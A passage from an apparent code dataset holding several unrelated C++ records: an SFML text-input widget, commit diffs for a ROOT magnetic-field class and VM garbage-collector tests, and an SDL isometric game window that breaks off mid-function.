scrollable->setBackgroundColor(sf::Color::Transparent);\n    scrollable->attachChild(std::move(text));\n    \/\/ Change content area so that the scrollbar fits in the TextInputWidget when\n    \/\/ necassary.\n    scrollable->setOnVerticalScrollNeededChangedListener(\n            [](Widget* widget, bool isNeeded)\n            {\n                \/\/ Vertical Scrollbar is needed so we reduce the width of the content\n                \/\/ area, so that the scrollbar fits in the TextInputWidget\n                if (isNeeded)\n                {\n                    widget->setWidth(widget->getWidth() \n                            - ScrollableWidget::SCROLLBAR_THICKNESS);\n                }\n                \/\/ Vertical Scrollbar is no longer so we can make the \n                \/\/ reductoion undone\n                else\n                {                    \n                    widget->setWidth(widget->getWidth() \n                            + ScrollableWidget::SCROLLBAR_THICKNESS);\n                }\n            });\n    attachChild(std::move(scrollable));\n    m_cursor.setFillColor(m_cursorColor);\n    setOutlineThickness(4.f);\n}\n\nvoid gsf::TextInputWidget::setCursorColor(sf::Color color)\n{\n    m_cursorColor = color;\n    m_cursor.setFillColor(color);\n}\n\nsf::Color gsf::TextInputWidget::getCursorColor() const\n{\n    return m_cursorColor;\n}\n\nvoid gsf::TextInputWidget::setIsEditable(bool isEditable)\n{\n    m_isEditable = isEditable;\n}\n\nbool gsf::TextInputWidget::isEditable() const\n{\n    return m_isEditable;\n}\n\nvoid gsf::TextInputWidget::setText(const std::wstring &text)\n{\n    m_currentText = text;\n    m_text->setText(m_currentText);\n    \/\/ Move cursor to end of text\n    m_cursorPos = m_currentText.size();\n    \/\/ Adjust text so that it fits the scrollbar when horizontal scrolling is disabled\n    adjustShownText();\n    m_scrollable->recalculateScroll();\n    m_scrollable->scrollToBottom();\n    m_scrollable->scrollToLeft();\n}\n\nstd::wstring gsf::TextInputWidget::getText() const\n{\n    \/\/return m_text->getText().toWideString();\n    return m_currentText;\n}\n\nvoid gsf::TextInputWidget::setCharacterSize(const unsigned int size)\n{\n    m_text->setCharacterSize(size);\n    m_charSize = size;\n    m_cursor.setCharacterSize(size);\n}\n\nunsigned int gsf::TextInputWidget::getCharacterSize() const\n{\n    return m_charSize;\n}\n\nvoid gsf::TextInputWidget::setTextColor(const sf::Color color)\n{\n    m_text->setTextColor(color);\n}\n\nsf::Color gsf::TextInputWidget::getTextColor() const\n{\n    return m_text->getTextColor();\n}\n\nvoid gsf::TextInputWidget::setIsNewLineAccepted(bool isAccepted)\n{\n    m_acceptNewLines = isAccepted;\n}\n\nbool gsf::TextInputWidget::getIsNewLineAccepted() const\n{\n    return m_acceptNewLines;\n}\n\nbool gsf::TextInputWidget::isFocused() const\n{\n    return m_isFocused;\n}\n\nvoid gsf::TextInputWidget::setIsVerticalScrollEnabled(bool isEnabled)\n{\n    m_scrollable->setIsVerticalScrollEnabled(isEnabled);\n}\n\nbool gsf::TextInputWidget::isVerticalScrollEnabled() const\n{\n    return m_scrollable->isVerticalScrollEnabled();\n}\n\nvoid gsf::TextInputWidget::setIsHorizontalScrollEnabled(bool isEnabled)\n{\n    m_scrollable->setIsHorizontalScrollEnabled(isEnabled);\n}\n\nbool gsf::TextInputWidget::isHorizontalScrollEnabled() const\n{\n    return m_scrollable->isHorizontalScrollEnabled();\n}\n\nvoid gsf::TextInputWidget::setIsVerticalScrollbarDrawn(bool isDrawn)\n{\n    m_scrollable->setIsVerticalScrollbarDrawn(isDrawn);\n}\n\nvoid gsf::TextInputWidget::setIsHorizontalScrollbarDrawn(bool isDrawn)\n{\n    m_scrollable->setIsHorizontalScrollbarDrawn(isDrawn);\n}\n\nstd::wstring gsf::TextInputWidget::getBlackListChars() const\n{\n    return m_blackListChars;\n}\n\nvoid gsf::TextInputWidget::setBlackListChars(std::wstring chars)\n{\n    m_blackListChars = chars;\n}\n\nstd::wstring gsf::TextInputWidget::getWhiteListChars() const\n{\n    return m_whiteListChars;\n}\n\nvoid gsf::TextInputWidget::setWhiteListChars(std::wstring chars)\n{\n    m_whiteListChars = chars;\n}\n\nvoid gsf::TextInputWidget::adjustShownText()\n{\n    if (!m_scrollable->isHorizontalScrollEnabled() && m_currentText.size() > 0)\n    {\n        m_lBreaksBefCur = 0;\n        m_lBreakIndexes.clear();\n        std::wstring shownString{ L\"\" };\n        \/\/ The chars which are in the actual line\n        unsigned int charCntLine{ 0 };\n        \/\/ The total width of all chars in the current line\n        float lineWidth{ 0.f };\n        for (unsigned int i{ 0 }; i < m_currentText.size(); i++)\n        {\n            wchar_t c{ m_currentText[i] };\n            \/\/ If we have a new line as char we can set the lineWidth and charCntLine\n            \/\/ to 0 because there is no need to handle the chars in this line\n            \/\/ (It is already handled by user width the new line char)\n            if (c == '\\n')\n            {\n                lineWidth = 0.f;\n                charCntLine = 0;\n                shownString += c;\n                continue;\n            }\n            \/\/ Width of the current char\n            float cWidth{ m_text->getWidthAndHeightOfChar(c).x }; \n            lineWidth += cWidth;\n            \/\/ When Text is out of scrollable widget, we have to add a new line \n            if (lineWidth > m_scrollable->getWidth())\n            {\n                if (i < m_cursorPos)\n                {\n                    \/\/ We have to increase the \"line breaks befor cursor\" counter\n                    \/\/ so we add the cursor later on the right position\n                    m_lBreaksBefCur++;\n                }\n                \/\/shownString += m_currentText.substr(i - charCntLine, charCntLine);\n                \/\/ Add new line\n                shownString += L\"\\n\";\n                \/\/ Store the position (of the shown text) \n                \/\/ where the new line was added\n                m_lBreakIndexes.push_back(i + 1);\n                \/\/ add the char with which the line was to wide in the new line\n                shownString += c;\n                \/\/ We have added the char c in the new line, \n                \/\/ so we have now 1 char in the current line\n                charCntLine = 1;\n                lineWidth = cWidth;\n            }\n            else\n            {\n                charCntLine++;\n                shownString += c;\n            }\n        }\n        m_shownText = shownString;\n        m_text->setText(m_shownText);\n    }\n}\n\nvoid gsf::TextInputWidget::resetCursorStatus()\n{\n    m_lastBlinkTime = 0.f;\n    m_isCursorShown = true;\n}\n\nunsigned int gsf::TextInputWidget::getAddedLineBreaksUpToIndex\n    (unsigned int index) const\n{\n    unsigned int cnt{ 0 };\n\n    for (unsigned int lBreakIndex : m_lBreakIndexes)\n    {    \n        if (lBreakIndex < index)\n        {\n            cnt++;\n        }\n        else\n        {\n            return cnt;\n        }\n    }\n    return cnt;\n}\n\nbool gsf::TextInputWidget::handleEventCurrentAfterChildren(sf::Event &event, \n        const sf::RenderTarget &target)\n{\n\n    bool handled{ Widget::handleEventCurrentAfterChildren(event, target) };\n    if (!m_isEditable)\n    {\n        \/\/ Nothing to do\n        return handled;\n    }\n    \n    \/\/bool handled{ ChildWidget::handleEvent(event) };\/*|| \n      \/\/  m_scrollable->handleEventWidget(event) };*\/\n    \/\/ Check if actual Widget is focused\n    if (event.type == sf::Event::MouseButtonPressed && \n            event.mouseButton.button == sf::Mouse::Left)\n    {        \n        sf::Vector2f mousePos{ target.mapPixelToCoords({ event.mouseButton.x, \n            event.mouseButton.y }) };\n        sf::Vector2f localPos{ convertToLocalPoint(mousePos) };\n\n        bool isMouseInShownArea{ getShownArea().contains(mousePos) };\n        bool intersecting{ isIntersecting(mousePos) };\n        if (isMouseInShownArea && intersecting)\n        {\n            m_isFocused = true;\n            handled = true;\n            \/\/ Put cursor to clicked postion           \n            \/\/ Get the index of the char where the mouse has clicked\n            int clickedCharIndex{ m_text->findIndexOfCharOnPos(localPos) };\n            \/\/ Clicked on a char?\n            if (clickedCharIndex > -1)\n            {\n                \/\/ The index is the index of m_shownText, but we need the index of\n                \/\/ the char in m_currentText, so we have to remove the automatic\n                \/\/ added line breaks.\n                unsigned int autoAddedLineBreaks{ \n                    getAddedLineBreaksUpToIndex(clickedCharIndex) };\n                m_cursorPos = clickedCharIndex - autoAddedLineBreaks; \n                m_lBreaksBefCur = autoAddedLineBreaks;\n            }\n        }\n        else\n        {\n            m_isFocused = false;\n        }\n    }\n    if (event.type == sf::Event::KeyPressed && m_isFocused)\n    {\n        switch (event.key.code)\n        {\n        case sf::Keyboard::Left:\n            if (m_cursorPos > 0)\n            {\n                m_cursorPos--;\n            }\n            \/\/ when cursor is moved it should be drawn so we reset its status\n            resetCursorStatus();\n            adjustShownText();\n            \/\/m_cursor.setPosition(\n            \/\/    m_text->findCharacterPos(m_cursorPos + m_lBreaksBefCur));\n            return true;\n        case sf::Keyboard::Right: \n            if (m_cursorPos < m_currentText.length())\n            {\n                m_cursorPos++;\n            }\n            resetCursorStatus();\n            adjustShownText();\n            \/\/m_cursor.setPosition\n            \/\/    (m_text->findCharacterPos(m_cursorPos + m_lBreaksBefCur));\n            return true;\n        default: break;\n        }\n    }\n    \/\/ If Widget is focused and Text entered, handle entered text\n    if (m_isFocused && event.type == sf::Event::TextEntered)\n    {\n        \/\/ To handle umlauts and other 'exotic' chars we use widestring\n        \/\/ and wide char\n        \/\/std::wstring actualTxt{ m_text.getString().toWideString() };\n        wchar_t c{ static_cast<wchar_t>(event.text.unicode) };\n        std::cout << \"Entered: \" << c << std::endl;\n        switch (c)\n        {\n        \/\/ Backspace\n        case 8: \n            if (m_currentText.length() > 0) \n            {\n                \/\/ Remove chars right of cursor when there are chars\n                if (m_cursorPos > 0 && m_cursorPos < m_currentText.length())\n                {\n                    m_currentText.erase(m_cursorPos - 1, 1);\n                    m_cursorPos--;\n                }\n                \/\/ When cursos is at the end of the text, p\n                \/\/ place cursor behind char which we want to delete,\n                else if (m_cursorPos == m_currentText.length())\n                {\n                    \/\/ Delete last char\n                    m_currentText.pop_back();\n                    m_cursorPos--;\n                }\n            }\n            break;\n        \/\/ Delete Pressed\n        case 127: \n            if (m_currentText.length() > 0 && \n                    m_cursorPos < m_currentText.length())\n            {\n                m_currentText.erase(m_cursorPos, 1);\n            }\n            break;\n        \/\/ Enter key\n        case 13: \n            \/\/ Dont add new line, when new lines are not accepted\n            if (!m_acceptNewLines)\n            {\n                return false;\n            }\n            m_currentText.insert(m_cursorPos, L\"\\n\"); m_cursorPos++;\n            break;\n        \/\/ Add char to text\n        default:\n            \/\/ If there are white listed chars specified, check if char is in it.\n            \/\/ If not return\n            if (m_whiteListChars.length() > 0 && \n                    m_whiteListChars.find(c) == std::wstring::npos)\n            {\n                return false;\n            }\n            \/\/ Check if char is black listed, if so return\n            if(m_blackListChars.find(c) != std::wstring::npos)\n            {\n                return false;\n            }\n            m_currentText.insert(m_cursorPos, std::wstring() + c);\n                 m_cursorPos++;\n        }\n        resetCursorStatus();\n        m_shownText = m_currentText;\n        m_text->setText(m_shownText);\n        adjustShownText();\n        \/\/m_cursor.setPosition\n            \/\/(m_text->findCharacterPos(m_cursorPos + m_lBreaksBefCur));\n        m_scrollable->recalculateScroll();\n        m_scrollable->scrollToRight();\n        m_scrollable->scrollToBottom();\n        return true;\n    }\n    return handled;\n}\n\nvoid gsf::TextInputWidget::updateCurrentAfterChildren(float dt)\n{\n    if (!m_isEditable)\n    {\n        \/\/ Nothing to do\n        return;\n    }\n    \n    \/\/ Update cursor stuff\n    m_lastBlinkTime += dt;\n    if (m_lastBlinkTime >= m_blinkFreq)\n    {\n        m_isCursorShown = !m_isCursorShown;\n        m_lastBlinkTime = 0.f;\n    }\n\n    m_cursor.setPosition(\n            m_text->findGlobalCharacterPos(m_cursorPos + m_lBreaksBefCur));\n    \/\/std::wstring text{ m_currentText };\n    \/\/std::wstring text{ m_shownText };\n    \/\/m_text->setText(text); \n}\n\nvoid gsf::TextInputWidget::drawCurrentAfterChildren(sf::RenderTarget &target, \n                    sf::RenderStates states, sf::View defaultView) const\n{   \n    \/\/ Draw cursor after children, so that children are not drawn over cursor\n    if (m_isCursorShown && m_isEditable)\n    {\n        target.draw(m_cursor, states);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ UniformMagField\n\/\/ Author: Matthew Raso-Barnett  22\/05\/2009\n#include \"TMath.h\"\n#include \"UniformMagField.h\"\n\nusing namespace std;\n\nClassImp(UniformMagField)\n\n\/\/_____________________________________________________________________________\nUniformMagField::UniformMagField()\n                :MagField()\n{\n\/\/ Default constructor.\n   Info(\"UniformMagField\", \"Default Constructor\");\n} \n\n\/\/_____________________________________________________________________________\nUniformMagField::UniformMagField(const string& name, const TVector3& field, const TGeoShape* shape, const TGeoMatrix* matrix)\n                :MagField(name, shape, matrix), \n                 fField(field)\n{\n\/\/ Default constructor.\n   Info(\"UniformMagField\", \"Constructor\");\n}\n\n\/\/_____________________________________________________________________________\nUniformMagField::UniformMagField(const UniformMagField& other)\n                :MagField(other),\n                 fField(other.fField)\n{\n\/\/ Copy constructor.\n} \n\n\/\/_____________________________________________________________________________\nUniformMagField &UniformMagField::operator=(const UniformMagField& other)\n{\n\/\/ Assignment.\n   if(this != &other) {\n      MagField::operator=(other);\n      fField = other.fField;\n   }\n   return *this;\n}\n\n\/\/_____________________________________________________________________________\nUniformMagField::~UniformMagField()\n{\n\/\/ Destructor.\n   Info(\"UniformMagField\", \"Destructor\");\n}\n\n\/\/______________________________________________________________________________\nconst TVector3 UniformMagField::GetField(const TVector3& \/*position*\/) const\n{\n   \/\/ No position dependence for a Uniform field so return field vector\n   return fField;\n}\n<commit_msg>Convert UniformField to global coordinates <commit_after>\/\/ UniformMagField\n\/\/ Author: Matthew Raso-Barnett  22\/05\/2009\n#include <iostream>\n\n#include \"TMath.h\"\n#include \"TGeoMatrix.h\"\n#include \"UniformMagField.h\"\n\nusing namespace std;\n\nClassImp(UniformMagField)\n\n\/\/_____________________________________________________________________________\nUniformMagField::UniformMagField()\n                :MagField(),\n                 fField()\n{\n\/\/ Default constructor.\n   Info(\"UniformMagField\", \"Default Constructor\");\n} \n\n\/\/_____________________________________________________________________________\nUniformMagField::UniformMagField(const string& name, const TVector3& field, const TGeoShape* shape, const TGeoMatrix* matrix)\n                :MagField(name, shape, matrix),\n                 fField()\n{\n\/\/ Default constructor.\n   Info(\"UniformMagField\", \"Constructor\");\n   \/\/ Convert field vector supplied to global coordinates\n   Double_t global[3], local[3] = {field[0],field[1],field[2]};\n   matrix->LocalToMaster(local, global);\n   \/\/ Zero out any rounding errors\n   for (int i = 0; i < 3; i++) {global[i] = (TMath::Abs(global[i]) < 1.E-12) ? 0.0 : global[i];}\n   fField.SetXYZ(global[0],global[1],global[2]);\n   cout << \"Built Uniform Magnetic Field - \";\n   cout << \"Bx: \" << fField[0] << \"\\t By: \" << fField[1];\n   cout << \"\\t Bz: \" << fField[2] << endl;\n}\n\n\/\/_____________________________________________________________________________\nUniformMagField::UniformMagField(const UniformMagField& other)\n                :MagField(other),\n                 fField(other.fField)\n{\n\/\/ Copy constructor.\n} \n\n\/\/_____________________________________________________________________________\nUniformMagField &UniformMagField::operator=(const UniformMagField& other)\n{\n\/\/ Assignment.\n   if(this != &other) {\n      MagField::operator=(other);\n      fField = other.fField;\n   }\n   return *this;\n}\n\n\/\/_____________________________________________________________________________\nUniformMagField::~UniformMagField()\n{\n\/\/ Destructor.\n   Info(\"UniformMagField\", \"Destructor\");\n}\n\n\/\/______________________________________________________________________________\nconst TVector3 UniformMagField::GetField(const TVector3& \/*position*\/) const\n{\n   \/\/ No position dependence for a Uniform field so return field vector\n   return fField;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\\gtest.h>\n\n#include \"vm.h\"\n\nusing namespace elsa::vm;\n\nclass GCTest : public testing::Test {\nprotected:\n\tvirtual void SetUp()\n\t{\n\t\tint ep = 0;\n\n\t\tvm_.add_constant_entry(new FunctionInfo(\"main\", 0, 1, ep, FunctionType::Static));\n\n\t\tauto si = new StructInfo(\"my_struct\");\n\t\tsi->add_field(new FieldInfo(\"field0\", OType::GCOPtr));\n\t\t\/\/si->add_field(new FieldInfo(\"field1\", OType::GCOPtr));\n\t\t\/\/si->add_field(new FieldInfo(\"field2\", OType::GCOPtr));\n\t\tvm_.add_constant_entry(si);\n\n\t\tauto si2 = new StructInfo(\"my_struct2\");\n\t\tsi2->add_field(new FieldInfo(\"field0\", OType::Int));\n\t\tvm_.add_constant_entry(si2);\n\n\t\tvm_.set_entry_point(ep);\n\t}\n\n\tvirtual void TearDown() {}\n\n\tVM vm_;\n};\n\nTEST_F(GCTest, MARK)\n{\n\tstd::vector<int> p =\n\t{\n\t\tnew_struct, 1,\n\t\ts_local, 0,\n\n\t\t\/\/l_local, 0,\n\t\t\/\/new_struct, 2,\n\t\t\/\/s_field, 0,\n\t};\n\n\tvm_.set_program(p);\n\n\tvm_.execute();\n\tauto result = vm_.gc_collect();\n\n\tASSERT_EQ(1, result.num_marked);\n}\n<commit_msg>the gc now passes some basic mark tests<commit_after>#include <gtest\\gtest.h>\n\n#include \"vm.h\"\n\nusing namespace elsa::vm;\n\nclass GCTest : public testing::Test {\nprotected:\n\tvirtual void SetUp()\n\t{\n\t\tauto si = new StructInfo(\"my_struct\");\n\t\tsi->add_field(new FieldInfo(\"field0\", OType::GCOPtr));\n\t\tsi->add_field(new FieldInfo(\"field1\", OType::GCOPtr));\n\t\tsi->add_field(new FieldInfo(\"field2\", OType::GCOPtr));\n\t\tvm_.add_constant_entry(si);\n\n\t\tauto si2 = new StructInfo(\"my_struct2\");\n\t\tsi2->add_field(new FieldInfo(\"field0\", OType::Int));\n\t\tvm_.add_constant_entry(si2);\n\t}\n\n\tvirtual void TearDown() {}\n\n\tVM vm_;\n};\n\nTEST_F(GCTest, BASIC_MARK_STRUCTS)\n{\n\tvm_.add_constant_entry(new FunctionInfo(\"main\", 0, 1, 0, FunctionType::Static));\n\tvm_.set_entry_point(0);\n\n\tstd::vector<int> p =\n\t{\n\t\tnew_struct, 0,\n\t\ts_local, 0,\n\n\t\tl_local, 0,\n\t\tnew_struct, 1,\n\t\ts_field, 0,\n\n\t\tl_local, 0,\n\t\tnew_struct, 0,\n\t\ts_field, 1,\n\n\t\tl_local, 0,\n\t\tnew_struct, 1,\n\t\ts_field, 2,\n\n\t\tl_local, 0,\n\t\tl_field, 1,\n\t\tnew_struct, 0,\n\t\ts_field, 0\n\t};\n\n\tvm_.set_program(p);\n\n\tvm_.execute();\n\tauto result = vm_.gc_collect();\n\tASSERT_EQ(5, result.num_marked);\n}\n\nTEST_F(GCTest, BASIC_CALL_MARK_STRUCTS)\n{\n\tvm_.add_constant_entry(new FunctionInfo(\"main\", 0, 1, 11, FunctionType::Static));\n\tvm_.add_constant_entry(new FunctionInfo(\"my_func\", 0, 1, 0, FunctionType::Static));\n\tvm_.set_entry_point(11);\n\n\tstd::vector<int> p =\n\t{\n\t\tnew_struct, 0,\n\t\ts_local, 0,\n\t\tl_local, 0,\n\t\tnew_struct, 1,\n\t\ts_field, 0,\n\t\tret,\n\n\t\tcall, 0,\n\t\tnew_struct, 0,\n\t\ts_local, 0,\n\t};\n\n\tvm_.set_program(p);\n\n\tvm_.execute();\n\tauto result = vm_.gc_collect();\n\n\t\/\/ Since my_func has been popped of the call stack we should only have 1 marked object for gc(the one created in main)\n\tASSERT_EQ(1, result.num_marked);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#define NOMINMAX \/\/ Para que nadie nos redefina min max\n#include <sstream>\n\n#include \"game_window.h\"\n\n#include \"..\/parser_yaml\/parser_yaml.h\"\n\nusing namespace std;\n\nbool GameWindow::sdlInitialized = false;\n\nbool GameWindow::initialize() {\n\tLogger::getInstance()->writeInformation(\"Initializing graphics\");\n\tif (GameWindow::sdlInitialized) {\n\t\tLogger::getInstance()->writeWarning(\"SDL already initialized\");\n\t} else {\n\t\tatexit(SDL_Quit);\n\t\tif( SDL_Init( SDL_INIT_VIDEO ) < 0 ) {\n\t\t\tLogger::getInstance()->writeError(\"SDL could not initialize!\");\n\t\t\tLogger::getInstance()->writeError(SDL_GetError());\n\t\t\tGameWindow::sdlInitialized = false;\n\t\t} else {\n\t\t\tGameWindow::sdlInitialized = true;\n\t\t}\n\t}\n\treturn GameWindow::sdlInitialized;\n}\n\nGameWindow::GameWindow(Game& owner, Player& player, ParserYAML& parser) :\n\towner(owner), player(player), board(player.board),\n\tancho_pantalla(parser.getPantalla().ancho), alto_pantalla(parser.getPantalla().alto),\n\tmargen_pantalla(parser.getPantalla().margen_scroll), scroll_speed(parser.getPantalla().velocidad_scroll)\n{\n\tGameWindow::initialize(); \n\twindow = SDL_CreateWindow(\"Trabajo Práctico 7542\",\n\t\tSDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED,\n\t\tancho_pantalla, alto_pantalla,\n\t\tSDL_WINDOW_SHOWN);\n\n\tLogger::getInstance()->writeInformation(\"Creating renderer\");\n\trenderer = SDL_CreateRenderer( window, -1, SDL_RENDERER_ACCELERATED );\n\n\tSDL_SetRenderDrawColor(renderer, 0, 0, 0, 255); \/\/ Color: negro opaco\n\tSDL_RenderClear(renderer); \/\/ Limpio pantalla inicialmente\n\tSDL_RenderPresent( renderer );\n\n\taddSpriteSheet(ENTIDAD_DEFAULT_NOMBRE, ENTIDAD_DEFAULT_IMAGEN, ENTIDAD_DEFAULT_PIXEL_REF_X, ENTIDAD_DEFAULT_PIXEL_REF_Y, ENTIDAD_DEFAULT_ALTO_SPRITE, ENTIDAD_DEFAULT_ANCHO_SPRITE, ENTIDAD_DEFAULT_CANTIDAD_SPRITES, ENTIDAD_DEFAULT_FPS, ENTIDAD_DEFAULT_DELAY);\n\taddSpriteSheet(TERRENO_DEFAULT_NOMBRE, TERRENO_DEFAULT_IMAGEN, TERRENO_DEFAULT_PIXEL_REF_X, TERRENO_DEFAULT_PIXEL_REF_Y, TERRENO_DEFAULT_ALTO_SPRITE, TERRENO_DEFAULT_ANCHO_SPRITE, TERRENO_DEFAULT_CANTIDAD_SPRITES, TERRENO_DEFAULT_FPS, TERRENO_DEFAULT_DELAY);\n\taddSpriteSheet(PROTAGONISTA_DEFAULT_NOMBRE, PROTAGONISTA_DEFAULT_IMAGEN, PROTAGONISTA_DEFAULT_PIXEL_REF_X, PROTAGONISTA_DEFAULT_PIXEL_REF_Y, PROTAGONISTA_DEFAULT_ALTO_SPRITE, PROTAGONISTA_DEFAULT_ANCHO_SPRITE, PROTAGONISTA_DEFAULT_CANTIDAD_SPRITES, PROTAGONISTA_DEFAULT_FPS, PROTAGONISTA_DEFAULT_DELAY);\n\n\tauto tp = parser.getPantalla();\n\tauto tc = parser.getConfiguracion();\n\tfor(auto& t : parser.getTiposEntidades()) {\n\t\taddSpriteSheet(t.nombre, t.imagen, t.pixel_ref_x, t.pixel_ref_y, t.alto_sprite, t.ancho_sprite,  t.cantidad_sprites, t.fps, t.delay);\n\t}\n\n\tfor(auto& t : parser.getTiposTerrenos()) {\n\t\taddSpriteSheet(t.nombre, t.imagen, t.pixel_ref_x, t.pixel_ref_y, t.alto_sprite, t.ancho_sprite,  t.cantidad_sprites, t.fps, t.delay);\n\t}\n\n\tfocus();\n}\n\nGameWindow::~GameWindow() {\n\tspriteSheets.clear();\n\n\tLogger::getInstance()->writeInformation(\"Destroying renderer\");\n\tif (renderer) {\n\t\tSDL_DestroyRenderer(renderer);\n\t\trenderer = nullptr;\n\t}\n\n\tLogger::getInstance()->writeInformation(\"Destroying window\");\n\tif (window) {\n\t\tSDL_DestroyWindow(window);\n\t\twindow = nullptr;\n\t} else {\n\t\tLogger::getInstance()->writeWarning(\"Window never initialized\");\n\t}\n}\n\nbool GameWindow::canDraw(Entity& entity) {\n\tif (!(&entity)) {\n\t\treturn false;\n\t}\n\tSDL_Rect screenRect = {0, 0, ancho_pantalla, alto_pantalla};\n\tauto it = spriteSheets.find(entity.name);\n\tif (it == spriteSheets.end()) {\n\t\tLogger::getInstance()->writeWarning(\"No existe SpriteSheet para este tipo de entidad\" + entity.name);\n\t\treturn false;\n\t}\n\tauto candidate = it->second->targetRect(entity);\n\treturn SDL_HasIntersection(&screenRect, &candidate);\n}\n\nvoid GameWindow::render() {\n\t\/\/\tDibujar\n\tSDL_SetRenderDrawColor(renderer, 0, 0, 0, 255);\n\tSDL_RenderClear(renderer);\n\t\/\/ Dibujamos el terreno\n\tr2 margin(1,1),\n\t   ul = screenToBoardPosition({0, 0}) - margin, \/\/ Upper Left\n\t   ur = screenToBoardPosition({ancho_pantalla, 0}) - margin, \/\/ Upper Right\n\t   bl = screenToBoardPosition({0, alto_pantalla}) + margin, \/\/ Bottom Left\n\t   br = screenToBoardPosition({ancho_pantalla, alto_pantalla}) + margin; \/\/ Bottom Right\n\tdouble ud = ul.x + ul.y - 2, \/\/ Upper diagonal\n\t\t   bd = bl.x + bl.y + 2, \/\/ Bottom diagonal\n\t\t   ld = ul.x - ul.y - 2, \/\/ Left diagonal\n\t\t   rd = ur.x - ur.y + 2; \/\/ Right diagonal\n\tfor (size_t x = max(0.0, ul.x),\n\t\t\tmaxx = min(((double)board.sizeX), br.x);\n\t\t\tx < maxx;\n\t\t\tx++) {\n\t\tif (x >= board.sizeX) {\n\t\t\tbreak;\n\t\t}\n\t\tfor (size_t y = max(max(max(0.0, ur.y), ud - x), x - rd),\n\t\t\t\tmaxy = min(min(min(((double)board.sizeY), bl.y), bd - x), x - ld);\n\t\t\t\ty < maxy;\n\t\t\t\ty++) {\n\t\t\tif (y >= board.sizeY) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tEntity & tile = board.getTerrain(x, y);\n\t\t\tif (&tile) {\n\t\t\t\tif (canDraw(tile)) {\n\t\t\t\t\tspriteSheets[tile.name]->render(tile, renderer);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\/\/ Seleccionamos entidades que se pisan con la pantalla\n\tauto entities = board.selectEntities([this](shared_ptr<Entity> e) {\n\t\t\treturn canDraw(*e);});\n\t\/\/ Ordenamos las entidades por oclusión\n\tsort(entities.begin(), entities.end(), [](shared_ptr<Entity> a, shared_ptr<Entity> b) {\n\t\treturn (a->size.x == a->size.y && b->size.x == b->size.y) ?\n\t\t\t(a->getPosition().x + a->getPosition().y + a->size.x < b->getPosition().x + b->getPosition().y + b->size.x) :\n\t\t\t((a->getPosition().x + a->size.x < b->getPosition().x) || (a->getPosition().y + a->size.y < b->getPosition().y)) &&\n\t\t\t!((b->getPosition().x + b->size.x <= a->getPosition().x) || (b->getPosition().y + b->size.y <= a->getPosition().y));\n\t});\n\tfor(auto& e : entities) {\n\t\tauto it = spriteSheets.find(e->name);\n\t\tif(it == spriteSheets.end()){\n\t\t\tLogger::getInstance()->writeWarning(\"No existe SpriteSheet para este tipo de entidad\" + e->name);\n\t\t\tcontinue;\n\t\t}\n\t\tit->second->render(*e, renderer);\n\t}\n\n\tSDL_RenderPresent( renderer );\n\treturn;\n}\n\nvoid GameWindow::update(){\n\tfor(auto & kv : spriteSheets) {\n\t\tkv.second->update();\n\t}\n\tprocessInput();\n\trender();\n\treturn;\n}\n\nvoid GameWindow::addSpriteSheet(string name, string pPath, int pixelRefX, int pixelRefY, int altoSprite, int anchoSprite, int cantSprites, double fps, double delay) {\n\tauto it = spriteSheets.find(name);\n\tif(it != spriteSheets.end())\n\t\tLogger::getInstance()->writeError(\"Ya existe un spriteSheet para el tipo de entidad con nombre \" + name);\n\telse{\n\t\tspriteSheets[name] = make_shared<SpriteSheet>(pPath, pixelRefX, pixelRefY, altoSprite, anchoSprite, cantSprites, fps, delay, *this);\n\t\tLogger::getInstance()->writeInformation(\"Se agrega spriteSheet para el tipo de entidad con nombre \" + name);\n\t}\n}\n\nr2 GameWindow::screenToBoardPosition(SDL_Point screenPos) {\n\tdouble XsTerm = (double)((double)screenPos.x - ancho_pantalla\/2)\/(double)TILE_WIDTH_DEFAULT;\n\tdouble YsTerm = (double)((double)screenPos.y - alto_pantalla\/2)\/(double)TILE_HEIGHT_DEFAULT;\n\treturn focusPosition + r2(XsTerm + YsTerm + .5, -XsTerm + YsTerm + .5);\n}\n\nSDL_Point GameWindow::boardToScreenPosition(r2 boardPos) {\n\tboardPos -= focusPosition;\n\tSDL_Point ret = {\n\t\t(int)((boardPos.x - boardPos.y) * TILE_WIDTH_DEFAULT \/ 2) + (ancho_pantalla) \/ 2,\n\t\t(int)((boardPos.x + boardPos.y) * TILE_HEIGHT_DEFAULT \/ 2) + (alto_pantalla - TILE_HEIGHT_DEFAULT) \/ 2};\n\treturn ret;\n}\n\nvoid GameWindow::processInput(){\n\tSDL_GetMouseState(&mouse.x, &mouse.y);\n\tscroll();\n\t\/\/\tProcesar input del usuario\n\twhile(SDL_PollEvent(EventHandler::getInstance()->getEvent())) {\n\t\tauto & e = *(EventHandler::getInstance()->getEvent());\n\t\tswitch(e.type) {\n\t\t\tcase SDL_QUIT:\n\t\t\t\towner.exit();\n\t\t\t\tbreak;\n\t\t\tcase SDL_KEYDOWN:\n\t\t\t\tLogger::getInstance()->writeInformation(\"Teclado\");\n\t\t\t\tswitch(e.key.keysym.sym) {\n\t\t\t\t\tcase SDLK_r:\n\t\t\t\t\t\towner.restart();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase SDLK_SPACE:\n\t\t\t\t\t\tfocus();\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\tcase SDL_MOUSEBUTTONUP:\n\t\t\t\tostringstream oss;\n\t\t\t\toss << \"Mouse en \" << mouse.x << \",\" << mouse.y;\n\n\t\t\t\t\/\/ Conversion de coordenadas en pantalla a coordenadas mapa\n\n\t\t\t\tauto mouseBoard = screenToBoardPosition(mouse);\n\t\t\t\toss << \"; mapa: \" << mouseBoard.x << \",\" << mouseBoard.y;\n\n\t\t\t\tLogger::getInstance()->writeInformation(oss.str().c_str());\n\t\t\t\tif( EventHandler::getInstance()->getEvent()->button.button == SDL_BUTTON_LEFT ) {\n\t\t\t\t\tLogger::getInstance()->writeInformation(\"Boton Izquierdo\");\n\t\t\t\t\tauto protagonist = getSelection();\n\t\t\t\t\tif (protagonist) {\n\t\t\t\t\t\tif (!(SDL_GetModState()&KMOD_SHIFT)) 